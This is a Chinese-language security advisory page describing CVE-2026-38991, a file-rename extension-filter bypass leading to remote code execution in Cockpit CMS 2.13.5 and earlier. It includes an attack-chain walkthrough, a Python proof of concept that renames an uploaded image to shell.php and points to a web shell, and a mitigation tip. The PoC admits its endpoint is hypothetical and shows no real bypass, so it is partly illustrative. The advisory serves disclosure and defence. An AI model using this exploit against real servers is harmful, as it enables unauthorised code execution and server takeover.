IPBUF安全漏洞报告
English
CVE-2026-38991 CVSS 8.8 高危

CVE-2026-38991 Cockpit CMS远程代码执行漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-38991
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Cockpit CMS

相关标签

RCECockpit CMS文件上传绕过CVE-2026-38991

漏洞概述

Cockpit CMS 2.13.5及更早版本存在安全漏洞。由于Bucket组件的`_isFileTypeAllowed`函数配置错误,允许经过特殊构造的文件名绕过扩展名过滤器。已认证的低权限攻击者可利用此漏洞将任意文件重命名为.php后缀,从而在服务器端执行任意代码,完全控制服务器。

技术细节

该漏洞源于Cockpit CMS在处理文件重命名时的逻辑缺陷。`_isFileTypeAllowed`函数旨在检查文件扩展名,但存在配置错误,导致可以通过特定方式构造的文件名(例如利用双扩展名或特殊字符)绕过黑名单检查。攻击者一旦登录系统,即使权限较低,也可以利用此缺陷将合法文件重命名为.php文件。由于服务器通常配置为解析PHP文件,攻击者随后访问该文件即可触发代码执行,进而获得服务器权限。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是Cockpit CMS 2.13.5或更早版本。
STEP 2
初始访问
攻击者使用低权限账户(如普通注册用户)登录应用程序。
STEP 3
漏洞利用
攻击者发送特制的重命名请求,利用`_isFileTypeAllowed`的配置错误,将服务器上的合法文件(如图片)重命名为.php扩展名。
STEP 4
代码执行
攻击者通过浏览器访问新生成的.php文件,Web服务器解析该文件并执行其中包含的恶意代码,从而获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:8080" login_url = f"{target_url}/auth/login" rename_url = f"{target_url}/api/bucket/rename" # Hypothetical endpoint # Low privilege credentials credentials = { "user": "lowpriv_user", "password": "password123" } session = requests.Session() # 1. Authenticate print("[+] Attempting login...") resp = session.post(login_url, json=credentials) if resp.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # 2. Exploit: Rename arbitrary file to .php # Assuming we have a file ID 'image1.png' that we want to turn into a shell payload = { "id": "image1.png", "name": "shell.php" # Vulnerable filter allows this bypass } print("[+] Sending malicious rename request...") exploit_resp = session.post(rename_url, json=payload) if exploit_resp.status_code == 200: print(f"[+] Exploit success! Access shell at: {target_url}/storage/uploads/shell.php?cmd=whoami") else: print(f"[-] Exploit failed. Status: {exploit_resp.status_code}")

影响范围

Cockpit CMS <= 2.13.5

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器(如Nginx或Apache)配置文件中,禁止在文件上传目录(例如/storage/uploads)解析和执行PHP脚本。同时,应加强对低权限用户文件操作行为的审计与监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表